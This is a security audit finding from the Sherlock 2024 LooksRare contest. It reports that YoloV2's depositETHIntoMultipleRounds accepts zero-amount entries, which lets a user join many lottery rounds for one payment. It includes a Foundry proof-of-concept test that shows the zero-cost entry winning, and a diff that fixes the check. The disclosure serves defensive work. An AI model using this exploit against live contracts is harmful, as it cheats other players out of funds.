Gentle Orange Panda

high

# `YoloV2::depositETHIntoMultipleRounds` allows for zero amount deposits

## Summary

The `YoloV2::depositETHIntoMultipleRounds` function lacks verification if `depositAmount` is zero, making it possible for a user to participate in a round for no cost and potentially win.

## Vulnerability Detail

When using the `YoloV2::depositETHIntoMultipleRounds` function, a user must pay some ETH.

```solidity
if (msg.value == 0 || numberOfRounds == 0) {
    revert ZeroDeposits();
}
```

There are also two checks::
- Every value in the `amounts` array must be divisible by `roundValuePerEntry` without a remainder.
```solidity
if (depositAmount % roundValuePerEntry != 0) {
	revert InvalidValue();
}
```
  
- The total sum of all values in the `amounts` array must be equal to `msg.value`.
```solidity
if (expectedValue != msg.value) {
    revert InvalidValue();
}
```

However, there is no check that ensures the value in the `amounts` array is equal to zero, which, when divided, does not leave a remainder.

Consequently, an array where all values are zero, except for one equal to the `roundValuePerEntry` amount, would be considered valid.

## POC

Add this test to the `Yolo_DepositETHIntoMultipleRounds_Test`.

```solidity
function test_depositETHIntoMultipleRounds_ZeroAmount() public {
    uint96 value = yolo.valuePerEntry();

    uint256[] memory amounts = new uint256[](1);
    amounts[0] = value;

    vm.deal(user1, value);
    vm.prank(user1);
    yolo.depositETHIntoMultipleRounds{value: value}(amounts);

    amounts = new uint256[](5);
    amounts[0] = 0;
    amounts[1] = 0;
    amounts[2] = 0;
    amounts[3] = 0;
    amounts[4] = value;

    vm.deal(user2, value);
    vm.prank(user2);
    yolo.depositETHIntoMultipleRounds{value: value}(amounts);

    (, , , , , uint40 numberOfParticipants, , , , IYoloV2.Deposit[] memory deposits) = yolo.getRound(1);

    assertEq(numberOfParticipants, 2);
    assertEq(deposits.length, 2);

    assertEq(deposits[0].tokenAmount, value);
    assertEq(deposits[0].depositor, user1);
    assertEq(deposits[0].currentEntryIndex, 1);

    assertEq(deposits[1].tokenAmount, 0);
    assertEq(deposits[1].depositor, user2);
    assertEq(deposits[1].currentEntryIndex, 1);

    vm.warp(block.timestamp + ROUND_DURATION);
    yolo.drawWinner();

    uint256[] memory randomWords = new uint256[](1);
    randomWords[0] = 1;

    vm.prank(VRF_COORDINATOR);
    VRFConsumerBaseV2(yolo).rawFulfillRandomWords(FULFILL_RANDOM_WORDS_REQUEST_ID, randomWords);

    (, , , , , , address winner, , , ) = yolo.getRound(1);
    assertEq(winner, user2);
}
```

## Impact

This vulnerability allows a user to enroll in an unlimited number of rounds, provided they only pay for one.

## Code Snippet

https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L312-L362

## Tool used

Manual Review

## Recommendation

```diff
diff --git a/contracts-yolo/contracts/YoloV2.sol b/contracts-yolo/contracts/YoloV2.sol
index b8afe96..cb075c2 100644
--- a/contracts-yolo/contracts/YoloV2.sol
+++ b/contracts-yolo/contracts/YoloV2.sol
@@ -335,9 +335,10 @@ contract YoloV2 is
             _incrementUserDepositCount(roundId, round);

             uint256 depositAmount = amounts[i];
-            if (depositAmount % roundValuePerEntry != 0) {
+            if (depositAmount == 0 || depositAmount % roundValuePerEntry != 0) {
                 revert InvalidValue();
             }
             uint256 entriesCount = _depositETH(round, roundId, roundValuePerEntry, depositAmount);
             expectedValue += depositAmount;
```